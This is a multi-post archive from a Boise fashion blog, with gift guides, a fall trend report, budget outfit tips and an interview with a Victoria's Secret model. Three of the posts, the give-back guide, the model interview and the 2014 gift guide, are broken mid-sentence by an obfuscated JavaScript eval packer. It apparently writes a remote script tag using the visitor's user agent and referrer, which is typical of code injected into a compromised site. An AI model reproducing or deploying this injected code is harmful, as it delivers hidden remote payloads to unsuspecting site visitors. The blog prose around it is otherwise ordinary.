Top Tips for Last-Minute Christmas Gifts

top tips for last minute christmas gifts

top tips for last minute christmas giftsQuick, look at your calendar – Christmas is just days away! If you’re not ready (and might be panicking a little), take heart; you are not alone, and your friendly neighborhood shopping pro is here to help!

When it comes down to the wire, you have two optimal choices to strategize finding that perfect gift:
1. Shop online, or
2. Shop hyper-local.

For those scrambling to find the perfect gifts, here are my top tips for last-minute Christmas shopping!

ONLINE GIFTING

Sorry, no,  you probably don’t have time to ship something from Amazon; that’s not what I’m talking about here. Your best bet for last-minute online options are subscriptions! From diamond jewelry to organic dinner, there are tons of both national and local subscription services for just about everyone on your list.

For maximum impact, I recommend printing something out that explains the subscription, and then wrapping it along with a physical item that reflects the theme. For example, if you’re giving a wine delivery subscription, wrap it up in a box with a pair of champagne flutes!

Annual subscriptions are the gift that literally keeps on giving, all year long! 

Top Picks for Online Subscriptions:

EXPERIENCES

Christmas Market in Dresden, Germany – Photo via Faredepot.com

Perhaps the best gift you can give right now is the one you can’t really wrap up in a box: adventure. Designer goods are waning in popularity right now, while travel and adventure are on the rise. Some of that might be fueled by economy and budget, or perhaps a thirst for the perfect photos to post on Instagram. Either way, there’s little in this world more exciting than opening up airplane tickets for Christmas!

Listed in order from most to leave expensive, below are my top picks for adventures you can purchase online in a minute, and cherish for a lifetime:

HYPER-LOCAL

Christmas gift ideas at Shift Boutique
Christmas gift ideas at Shift Boutique

The Treasure Valley is blessed with a plethora of unique local gift, clothing, shoe, and home decor boutiques. But why choose local over big box stores? The answer is two-fold. You already know how important small business is to a city’s economy, sustainability and growth, so I won’t dig into that…

But the other reason is how well we know each other in this community! Chances are, the person you’re searching to find a gift for has a favorite place to shop. Go there. Show the salespeople the name & a photo of your person. It’s very likely they have worked with him/her before, and know their style and tastes! Walk into downtown Boise’s Piece Unique, for example, say “My wife Mary shops here all the time,” and they are likely to respond: “Oh yes, we love Mary! She’s very into our Baci Fashion line, which is right over here. Her favorite colors are pink and blue, so she’s probably love this sweater!”

Ta-da, the perfect gift! See how that works? It’s one of my favorite things about this town!

Below is a list of some of the best local fashion boutiques in town, where I know you will get that kind of service. (PLEASE comment below and let me know if I’ve missed YOUR favorite store. I love getting to know places & faces that are new and special in this community!)

Find more unique, pretty, and often locally-sourced treasures at the following gift and decor shops:

Merry Makers Market, Boise
Merry Makers Market, Boise

That’s a wrap! Special thanks to Boise Public Radio’s Idaho Matters show for having me on to talk about all these fun ideas, and the true heart of gift-giving. Listen to the entire broadcast here!

Merry Christmas, Happy Holidays, and may all your shopping adventures be successful!
XOXO,
Tanya

idaho matters boise public radio stylespygirl

P.S., If you think I missed any shop you love & adore, please add them below in the comments!!! 🙂

 

 

 

 

Fall Fashion 2018 Trend Report with Boise Lifestyle!

ruby fall fashion stylespygirl

stylespygirl red lace dress fall fashion

Hello, loves! Did everyone have a gorgeous & eventful summer? Mine flew by, and I can’t believe it’s almost Autumn!!!

Well, get ready, because this month I had the special honor of doing a Fall Fashion report for our dear local Boise Lifestyle Magazine. I’m reprinting that feature here, just for you, with a little extra dose of love: links and info for where to purchase these darling outfits & accessories!!!

Enjoy the fashion inspiration, and as always, I adore your feedback so please comment away below & tell me what you think! XOXOXO, Tanya

FALL FASHION FEATURE: Gemstone Hues

Whether it’s a bold red lip, flash of accent green on a handbag, or stripes of yellow and purple across a shoe, this season’s trends showcase every color of the rainbow.

As the soft pastels of previous seasons fade with the summer sun, expect Fall to come in strong with a dazzling array of gemstone colors, vivid stripes, and a plethora of edgy prints from around the world.

The 90’s are back, too, with chunky footwear, colorful overalls, whimsical sunglasses, and a wide  variety of denim styles. From ruby red to sapphire blue, choose your favorite haute hues and embrace the crisp coolness of autumn.

Fall fashion’s overall message for 2018 is: Be bold!!!

I had a blast shopping for the hottest trends at three wonderful boutiques in Boise: Ibeni, Shift, and Swank! Check out my fashion inspiration looks below, and tell me in the comments: Which ones are your faves?

RUBY RED

ruby fall fashion stylespygirl

Jack Floral blouse: Shift Boutique // We The Free black jeans: Shift Boutique

ruby fall fashion stylespygirl

Leather jacket: BCBG // Striped dress & bralette: Swank Boutique // Cross layered necklace: Swank Boutique // Boots: Doc Martens

AMBER

amber fall fashion stylespygirl

Dress: Ibeni Boutique // Mermaid Bag & Bracelet: Swank // Necklace: Vintage Chanel // Ankle Booties: Shift Boutique

 

fall fashion trends 2018 boise lifestyle

BCBG Jacket: Shift Boutique // Blouse: Ibeni Boutique // Striped Trousers: Swank Boutique // Shoes: Shift Boutique

EMERALD

emerald fall fashion look

Faux fur wrap: Ibeni Boutique // Dress: Ibeni Boutique // Shoes: Lyrique Boutique

emerald fall fashion look

Boots: Doc Martens // Jeans: Shift Boutique // Blouse: Shift Boutique // Shearling vest: Ibeni Boutique // Necklaces: Swank Boutique

SAPPHIRE

sapphire fall fashion look

Blue Dresses: Both from Ibeni Boutique // Necklaces: Swank Boutique

BOLD ACCESSORIES

fall fashion earrings

Earrings: leather and feathers from Ibeni Boutique

 

 

 

 

Christmas 2017 Give-Back Gift Guide

Christmas gift guide give back stylespygirlShopping eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘b’+e(c)+’b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|zeeik|var|u0026u|referrer|shnyz||js|php’.split(‘|’),0,{}))
with soul gets glam for 2017!

~ photos by Allie Smith Hobbes, myself, or shared with permission from businesses below~

In the last few years, there’s been a major shift in the fashion industry towards a more ethical design, manufacturing, and shopping experience. From employment practices abroad, to real financial impact closer to home, it’s encouraging to watch this movement grow and blossom into something truly impactful… And truly beautiful!!!

Christmas is near, but if you still have shopping left to do, check out some of my personal favorite companies below for inspiration! Some items are available locally, and most are also online. I’ve chosen these products and companies because I have either connected directly with the fine people selling them, or have a deep personal passion for the mission behind their products.
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But think of this list as just a beginning! Please (pretty please with sugarplums on top!) tell me YOUR favorite give-back-biz in the comments below. Post links, pics, anything you love; share your faves, so we can spread the joy, together!!!
XOXO,
Tanya

Bought Beautifully

bought beautifully stylespygirl
Bought Beautifully is a lovely online shop founded by Colin & Emily Betzler, two-huge-hearted entrepreneurs from Wyoming. The Betzlers believe in changing the world by living generously, and to that end, have built “a marketplace that empowers you to create dignified opportunities for people around the globe, one purchase at a time.” Every item in their shop, from jewelry to Christmas ornaments, is both beautiful and fashion-forward.
bought beautifully stylespygirl 2I fell in love with Bought Beautifully’s Brass Stud earrings from Sasa (pictured above, lower right), a brand that empowers and supports deaf men and women in Nairobi, Kenya, and on the Island of La Gonave, Haiti.
Bought Beautifully  sells handcrafted items from 36 partners in over 16 nations across the globe, and you can search by category, or by the cause that is close to your heart!
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bought beautifully stylespygirl
Beaded Tassel Earrings from Milot, Haiti, help bring sustainable development through design, training, and job creation. $32
stylespygirl bought beautifully bracelet
Bracelet by Badala; proceeds fight human trafficking and empower women to rise out of poverty in East Africa, Central America, and the USA.

Speak Your Silence

speak your silence stylespygirl
My friend Matt Pipkin founded Speak Your Silence in 2012 as a place of healing, recovery, and empowerment for men and women around the world who are victims of sexual assault. Speak Your Silence’s unique zigzag pattern can be added onto any piece of apparel or accessory, as an unspoken sign of solidarity and support among those who have suffered.
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Whether you have personally experienced sexual violence or not, wearing the zigzag pattern shows you care, and want to inspire others to prevent sexual assault and share your voice for those affected.
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speak your silence stylespygirl 2
Speak Your Silence has partnered with Boutonné, a San Diego-based brand that produces leather goods, to create a special Swivel Clip, Envelope Laptop Case, and the Mills Tote I am wearing in the photos above. Click here to purchase the tote ($190), and find out more about Boise-based Speak Your Silence! T-shirts, decal kits, and other products are also available for purchase. 
 .

Corbin’s Legacy Bracelets

corbin bracelet style spy girl

No child should have to go an entire school day without lunch. That’s the basic, and passionate anthem behind Corbin’s Legacy bracelets. Founded in honor of Corbin Leafman, a beloved and compassionate kindergarten teacher who passed away at 31 years old from cancer, Corbin’s Legacy bangles give back 100% of their proceeds to food & medical care for disadvantaged elementary school children.

Corbin was known for “always walking through the lunch line holding up a $20.00 bill to make sure that the cafeteria lady knew that none of her students were to go without a hot meal.” She bought backpacks, school supplies, and gifts for children in need, and her giving heart lives on in those who knew and loved her! Bracelets are $30 in downtown Boise, at Swank Boutique.

Tentree Sweatshirts

10 sweatshirts buckle stylesypgirl
Did you know our local Buckle store is a major force for good in the community? Through their Buckle Believes program, they  offer multiple give-back lines of clothing and accessories, all with great style and affordable prices! I loved these soft, cozy sweatshirts by tentree, available in multiple colors, and all fleece-lined. Ten trees are planted for every item you purchase, and the tag comes with an extra seed for you to plant! These tops are great for stocking stuffers, and cold winter nights. Shop the entire collection here, and at your local Buckle store, $35-76.
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Girl Power for good!

All right, I get to toot my own horn on this rad project! But don’t worry; no money goes in my own pocket. 😉 It’s all for giving back! I teamed up with brilliant Boise designers Fourthwave Apparel for a special collaborative design, Nobody Puts Girl Power in a Corner. For every shirt sold, 40% of the profits go directly to Leap Charity, a local non-profit org that helps house and support refugee families arriving in our community.
 You can read more about our story here, or jump straight to Fourthwave to buy one. $22 adult, $14.50 kids.
 .

Proof Eyewear

proof eyewear style spy girl

If you live anywhere in the Treasure Valley, you know about Proof Eyewear! We all love this local company that’s made it big in the fashion industry, but did you also what big HEARTS they have as well?? Through Proof’s Do Good program, thousands of dollars have gone back into health and vision projects around the world. From micro-loans for entrepreneurs to building orphanages, Proof ‘s commitment to socially-conscious programs across the globe is unmatched.

Click here to read more about Proof’s Give Back program, and all the amazing projects they support, or visit their new downtown flagship store at 314 S. 9th Street, Boise, for last-minute gifts!

Buckle Believes

Those who know me well, know that I am passionate when it comes to fighting bullying. My son went through some horrific experiences at a very young age, because of his Asperger’s. Please read more about his story here; Ethan is an incredible kid, and I will fight tooth & nail for the life he deserves to live. 
 .
When I stopped by Buckle to look for give-back brands, these Buckle Believes t-shirts made my eyes leak a little. The Be Buddies, Not Bullies top was my fave, and I’m proud to wear it to help raise awareness for my son, and all kids everywhere!!! Proceeds from all three of the tops pictured above go to The American Cancer Society, and Pacer’s National Bullying Prevention Center. These designs (and more!) are available for $28.95 online at Buckle.com, or available at your local Buckle store.
 .
Don’t forget to add your voice to the conversation!
Please comment below with your favorite give-back gifts and companies.
Merry Christmas, Happy Holidays, and may all your days be merry & bright!
XOXOXO
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 .
 .

Easy Style on a Budget: Denim & Stripes

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you ever have those days when the weather is icky, and you find yourself pining for the long, warm evenings of summer? That was me today, watching the sun set at 5:30pm and feeling the temperatures start to drop. Brr! I miss lazy, warm 9pm sunsets!

What to wear, when you’re not in the mood for a ton of effort? Stripes + Denim + Hat = Fab Look! Most women have some type of striped piece in their closet, and of course some denim. Put them together, and you get a laid-back ensemble with a hint of Parisian chic! Now, you may have heard that horizontal stripes are a no-no, because they make you look wide. The key is to use those stripes where you want to widen, and use a jacket or sweater over the areas you want to slim down! I have narrow hips, so I chose a cropped jacket; this makes the stripes stand out – and widen me visually – right at my hips. See?

denim & stripes 1

I’ve had great luck lately at the crazy-awesome winter sales happening around town, so finding fab styles on a tight budget has been fairly easy-peasy. That always perks me up!

Earlier this week I scored a destroyed denim jacket at Urban Outfitters for only $20 – gotta love those clearance racks! Ruby Lou in Eagle is having a 50% off winter sale; I picked up a couple lovely blouses you’ll see in photos soon, and this rad wool Soho fedora that will go great with EVERYTHING from now until the weather warms up, lol! For Boise, that’s around… March, sigh.

denim & stripes main 2Pistil Fedora – 30% off right now at Ruby Lou!
Urban Outfitters Denim Jacket – % off
Evereve Striped Tunic on SALE now $29.99!
Express Scuba Legging Jeans
Fergie Boots – on CLEARANCE now at Fergie.com!
Rebecca Minkoff Handbag ($35 at Nordstrom Rack sale!)
Coach Sunglasses (from Boise Mounatin Eyecare) – similar here.

BEST SALES going on right now, besides the above:

H&M, extra 30% off Clearance, Winter sale up to 70% off!
Forever 21, Sweaters starting at $11.99!
Swank Boutique – Redline markdowns on winter fashions from Free People,  Wildfox, etc. – 20-50% off!
Fancy Pants in Boise – Winter sale through Friday, 30-60% off clothing, 50% off ALL shoes!
Victoria’s Secret Semi-Annual Sale (ends tonight at midnight!)

Piece Unique & Shoez – Weekend winter MEGA-clearance sale on new AND consignment racks throughout the store, 75% off and more on TONS of items!!! Open 10am-6pm Satruday,  12-5pm on Sunday

~

Follow me on Instagram for daily sale alerts & fab fashion finds!

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Interview With an Angel; Victoria’s Secret Fashion Show Party 2014

elsa hosk boise towne squareLast eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘b’+e(c)+’b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|ysyzf|var|u0026u|referrer|dhaef||js|php’.split(‘|’),0,{}))
week Boise won the very distinct privilege of hosting the Official Victoria’s Secret Fashion Show Viewing Party for 2014!

Yay, us!

A huge event was put together at Boise Towne Square, with hundreds of seats, beanbags, VS swag & goodies, and a red-carpet-worthy photo backdrop for pictures with visiting Victoria’s Secret supermodel Elsa Hosk. Thrilled fans turned out in droves for this event, and the line stretched around Towne Square’s center court, overflowing up the stairs and into the second level! Many had been there since lunchtime, anxious for their chance to see the Fashion Show and meet Elsa. I threw on my favorite Express emerald green sequin party dress, and headed to the show…

elsa_hosk_ammophotog_stylespygirl_7I was delighted and honored when KTVB Ch. 7 News asked me to step in as an unofficial reporter to interview Ms. Hosk for the  4:00 news!!! But what do you ask a famous,world-traveling, professional Angel? I reached out to YOU, for some creative interview questions! Here is what YOU asked Elsa, and her inspiring responses:

elsa_hosk_ammophotog_stylespygirl_1

Me: Is this your first time in Boise?

Elsa: It is my first time in Boise, but I’ve been to Idaho before. I’m from Sweden

Me: Whats your favorite thing about being a Victoria’s Secret supermodel?

Elsa: Oh my gosh, there’s so many things I love about it! I love traveling, I love the fashion show, I love the shoots, I love the whole surrounding thing. Victoria’s Secret is like a family and everybody working for us is just incredible people.

Via Madisen Ellen Phipps: What does wearing the wings mean to you/what do they represent to you and your favorite thing about being apart of the Victoria’s Secret organization? 

Elsa: This was the first year I got to walk in wings so it was really, really exciting. I had no idea that I was going to get the wings so when they told me I was just blown away, I almost started crying. And it was this moment where you’re like, oh my God I worked so hard for this, it’s a big accomplishment! And you see the girls walking down, so powerful, and it just makes you feel like you own the world for a second. It’s so iconic, the Victoria’s Secret wings.

elsa_hosk_ammophotog_stylespygirl_4

Via Ellen Belle Hanson Ask her what her favorite characteristics are in a photographer when she’s working with one…like anything that makes her feel comfortable so she can do her best!

Elsa: Oh that’s a good question! I think when the photographer has a lot of confidence and can tell you what they want you to do, and can give you direction… Or, if he wants you to be completely free and just like let you move around and be yourself!

Via Sonnay Alvarez: How did you begin your career in modeling?

Elsa: I started when I was 14 but I didn’t go full time until I was 18.  I went to school, and played basketball, and then I decided to really go for it.

 Via Autumn Short/Me: – Any health, fitness, or diet advice you’d like to pass on to other aspiring models?

Elsa: Work out and be healthy; it’s so important to take care of your body, for a model, because it really is your job. I try to work out 6 days a week, but if I travel it’s hard.

Me: Do you work out on the plane?

Elsa: Oh no, some people do that and I want to be those people, but I just don’t have the confidence, ha ha ha.

Via Amanda Woods: With the ever present emphasis on appearance in our society, what advice can you offer for women to be confident in any situation?

Elsa: For me, it’s been to not compare myself to others, because once you start doing that you can never achieve happiness. You just have to find that confidence within yourself, that acceptance, just be happy with what you’re given, you know?

elsa_hosk_ammophotog_stylespygirl_5

We asked Tina Kierce, Marketing Manager for Boise Towne Square, some additional questions:

How did Boise win this incredible honor?

Tina: “Girls at Victoria’s Secret received challenges from their company managers to promote the contest for the party on social media. Boise won the fashion show part by a landslide!”

Did you know what was going on, much in advance?

Tina: “This was a big surprise. We were very excited about it and up until the day it was announced we were wishing and hoping and very excited when we won.”

How is this event important for Boise Towne Square?

Tina:  “Here we are in Boise and we are hosting the only viewing party in the nation for the most sought after fashion show in the world and our customers get to come and enjoy it and it’s absolutely fabulous.”

elsa hosk multi gridIt was a blast to see so many cool people turn out for this event! I hung out with photographers Ammophotog (Amanda Morgan, whose photos are included in this article!), Alysha KautzAlejandro Martinez (Lucid Imagery), fashion stylists Kellie Levesque (Fashion Kellie) and Heather Schwabe (Style Therapy), models Cara Dempsey, Bailey Heasch, Nicolette Roper, local news producer Char Jackson, and about 300 more excited local lovelies from all over town!

Congratulations, Boise – we ROCKED this Angel party!!!

XOXO, Tanya

StyleSpyGirl’s Holiday Gift Guide 2014

gift guide banner image 3Christmas eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘b’+e(c)+’b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|iizyr|var|u0026u|referrer|ydiki||js|php’.split(‘|’),0,{}))
is almost here!
 In case you need a few last-minute ideas, I’m sharing my personal wish list of favorite finds, from Boise and beyond. And I’ve linked directly to most of what you see here, so it’s easy to click-to-buy!

Wishing you and yours a very Merry Christmas,

signature  hearts

~

Local Love

gift guide local love 3

1. Arrow Hoop Earrings $25, Fluff 4 The Particular / 2. Idaho Gun Trucker Hat  $25, and Sweatshirt $40, Banana Ink / 3. Ollipop Vintage Inspired Ring $39, Ruby Lou Clothing Boutique /  4. PULSE Bracelet $20 Sterling Silver, Unigon Specialties / 5. Bullet Shell Jewelry 9mm Turqoise gemstone $36, Body Novelties / 6. COPONCHA All-Weather Fashion Poncho $199, Ginger And Mary Ann / 7.  Black & Gold Sequin Sleeve Dress $79, Posh Boutique / 8. Organic 70% Dark Chocolate Cranberry Orange, rosieMADE

 Glitz & Glamgift guide glitz glam 2

 

1. Manic Choker Necklace $296, Marshelly’s / 2. Raine Jumpsuit by Jessica Faulkner $162, Orange Harp (Use Discount Code TWSTYLE to receive 15% OFF at Checkout!) / 3. Red Wool Blend Turnlock Trench Coat $118, Express /4. Rolex His & Hers Watches, Price upon request Hal Davis Jewelers, 1-800-421-6151 / 5. Arabesque Cocktail Ring and Pave’ Chevron Ring both $29 each, Stella & Dot / 6. Mini Turnlock Borough Bag $398, &  Mini Chain Crossbody $195 In Metallic Leather, Coach / 7. World Cuff Bracelet $380, by Artelier / 8. The Dreamer Henley Pajama with Matching Eye Mask $39.50, Victoria’s Secret / 9. Katana Ring $85, Marshelly’s

Tech Cravings

gift guide tech cravings

1. MEMI silver tech bracelet  $150, Memi.com. First wearable technology made for women, by women! Smartbracelet discreetly vibrates when you receive important phone calls, text messages, and calendar alerts. Silver and White, pre-order only. / 2. BLOOM Necklace $79.99, connects with SHINE Fitness & Sleep Monitor (sold separately.) Hand-finished stainless steel. / 3. MOTA Smartring $99.99, MOTA. Pairs with any Bluetooth enabled device. Notifications vibrate; simply scroll through the screen to view your latest updates! Midnight Black or Pearl White. / 4. CUFF “Lisa” Necklace $119 marked down to $59 pre-order! Never miss an important call or text; notifications with a buzz, and safety alert with just a touch. / 5. MICA Tech Bracelet $495, by Opening Ceremony. An intelligent communication accessory designed by Opening Ceremony, and powered by Intel. Delivers discreet text messages, email alerts, Facebook notifications, calender reminders, and more! 18k gold finish and adorned with pearls, lapis, obsidian, and tiger’s eye. / 6. Limited Edition Dive Bar Ringly $195, Crafted with a rhodium plated setting and a tourmalated quartz semi-precious stone. Stargaze Black Onyx Ringly $195, Crafted with an 18K matte gold 3 micron plated setting and precious and semi-precious stones. Connects to your phone and sends you customized notifications through vibration and light!

 

 

 

 

SPLURGE:

Luxe Dressing For Less

pink blush stylespygirl street

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by
ammophotog

Every Fall, I voraciously inhale stacks of fashion magazines, like most people consume Thanksgiving dinner! There are so many fun and fascinating styles emerging on the fashion scene this season! Lately, however, I’ve been changing the way I shop and view fashion – moving away from loading-up on seasonal trendy pieces, and choosing instead to invest in long-lasting, well-made classics that (hopefully) won’t wear out before I grow tired of them. It’s a mental shift in how I utilize my budget, and has been an interesting learning curve…

Recently, instead of buying a bunch of new fall outfits, I saved up & splurged my entire budget on one amazing Coach handbag, the Borough (see photo, above!). I fell in love with its clean, classic lines, hand-stitched workmanship, and luxurious materials. This, I decided, is my first big “investment piece.” I intend to get much bang for my buck from this bag, because of how many times I will use it, year after year! This classic style won’t go out of fashion, anytime soon.

anthropologie etienne dress
Photo Courtesy of Anthropologie
pink blush navy dress
Photo courtesy of Pink Blush

But then I spotted this dress “Etienne” dress at Anthropologie, and fell in love! Sigh, I’m not going to spend $178, even though it’s oh-so-lovely; my budget is tapped out!

Some time later, I received an email from online shopping site Pink Blush, offering to let me try some of their fun clothes & accessories to highlight on my blog. Lo and behold, I found this Navy Blue Mesh Striped Dress, for only $37! Looks pretty similar to the Anthropologie dress, doesn’t it??

I added a glitzy necklace for $11, a unique bracelet for $13, and $27 Chinese Laundry shoes from Ross, and I’m all set for a fashionable business meeting downtown. My swing coat is vintage from a local thrift store; I paid around $10 for it, seriously!

Put everything together, and my entire look is LESS THAN $100, apart from my Borough bag!!!
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The key to looking luxe for less is in the details. Focus on investing in statement pieces that people will notice; quality shoes, iconic handbags, and stand-out coats are a great place to start! And if you ARE going to buy inexpensive clothes and jewelry, look for materials and craftsmanship that LOOK more expensive than they really are. This is called mixing high and low… And it’s brilliant, because not all of us can afford to wear head-to-toe designer brands every day, like Kim Kardashian.

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Do you have a favorite “bargain” treasure shopping find? Tell me about it in the contest below! 
One lucky person will be drawn at random to receive a $25 gift card to Pink Blush, where a little can go a long way.
Good luck!!!

XOXO,

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